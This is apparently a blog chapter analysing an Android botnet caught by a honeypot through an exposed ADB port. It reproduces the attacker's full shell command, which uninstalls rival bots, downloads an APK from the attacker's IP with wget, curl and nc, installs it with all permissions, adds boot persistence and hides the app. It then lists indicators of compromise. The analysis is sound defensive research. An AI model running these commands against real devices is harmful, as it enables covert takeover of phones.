Sysorbit · Chapter 7
The one that came in through the debug cable
The previous three went after servers. This one went after a phone: it came in through ADB, wiped out the competition, installed its app disguised as Google, and hid itself. First Android malware in the honeypot.
The previous three families —XorDDoS, Mirai, RedTail— went after Linux servers. This one goes after something else: a phone. The honeypot has port 5555 open, the ADB port (Android Debug Bridge) — Android's debugging channel. When it's left exposed to the internet, it's an open, password-free door into an Android device.
And someone found it. This chapter is the catch; the teardown of the APK is in Chapter 8.
01The catch
A bot scanning port 5555. The moment the honeypot accepted the ADB connection, it fired off a single giant command — an Android shell that does everything in one go. To capture the sample, the honeypot itself downloaded the APK the command asked for.
- 00:00.0Connects to 5555 from 176.65.139.248. ADB asks for no password: straight in.
- 00:00.3Uninstalls the competition — a list of rival Android bots — and cleans out /data/local/tmp.
- 00:00.3Downloads its APK (sysorbit.apk) from its own server, installs it granting every permission, starts the service, and hides it from the app list.
02The command, laid bare
All on one line. I've broken it into stages so it can be read, but it arrived all at once:
Evicting the previous tenants
Before installing itself, it uninstalls other Android bots that might already be on the device. It wants the phone all to itself — the same war between crooks we saw in RedTail, but on Android.
pm uninstall com.manji.bot 2>/dev/null
pm uninstall com.iranbot.load 2>/dev/null
pm uninstall com.android.log_handler_v2 2>/dev/null
pm uninstall com.oreo.mcflurry 2>/dev/null
pm uninstall com.google.android.pms.update 2>/dev/null # fake "pms"
pm uninstall com.google.android.gms.update 2>/dev/null # fake "gms"
pm uninstall com.andriodakb.registerrs 2>/dev/null # "andriod"
pm uninstall com.driots.sevice 2>/dev/null # "sevice"
pm uninstall com.kbot.loadd 2>/dev/null # "loadd"
pm uninstall com.meowrisee.service 2>/dev/null
pm uninstall io.toy.zae 2>/dev/null
rm -rf /data/local/tmp/* 2>/dev/nullIt says a lot about the craft: whoever maintains that list jots down the competition's names like someone scribbling a shopping list, and never rereads it. And com.google.android.pms.update —"pms" instead of "gms"— is probably another bot trying to pass for Google and getting the letter wrong.
Fetching the APK — with a safety net
It downloads sysorbit.apk from 176.65.139.248, trying every tool an Android might have (busybox, toolbox, toybox, wget, curl) and, if nothing works, nc to a spare port. The same stubborn cascade as the Mirai loader.
busybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
toybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
curl hxxp://176.65.139[.]248/sysorbit.apk -o /data/local/tmp/x.apk ||
busybox nc 176.65.139[.]248 30254 > /data/local/tmp/x.apk # last resortInstall, launch and hide
It installs with -g (all permissions at once), launches the bot service, registers itself to start after a reboot, and hides itself from the app list. By the time the phone's owner looks, there's no new icon.
pm install -r -g /data/local/tmp/x.apk # -g = grants ALL permissions
am start-foreground-service -n com.sysorbit.service.security/.BotService
am broadcast -a android.intent.action.BOOT_COMPLETED \
-n com.sysorbit.service.security/.RestartReceiver # persistence
pm hide com.sysorbit.service.security # vanishes from the list
rm -rf /data/local/tmp/x.apkAnd one detail that made me laugh: the rival list the binary uninstalls by itself isn't the same as the one in this command. It carries two packages that don't appear here. Somebody updated one copy and forgot the other.
03The specimen
The APK the honeypot captured.
Sysorbit · Android botnet
04Indicators (IOCs)
| Type | Value |
|---|---|
| Attacker / distribution IP | 176.65.139.248 (HTTP /sysorbit.apk · nc :30254) |
| Entry route | ADB · port 5555 |
| APK | sysorbit.apk · 31de5c5d0a34…f103901 |
| Package | com.sysorbit.service.security |
| Components | .BotService · .MainActivity · .RestartReceiver |
| Rivals it uninstalls | com.manji.bot · com.kbot.loadd · io.toy.zae · … |
To be continued — the APK is packed and its C2 hidden in native code. In Chapter 8 I open it up layer by layer with jadx and Ghidra. It took me two attempts and a day in between, but it ended up telling me where it calls home. 🍯
Comments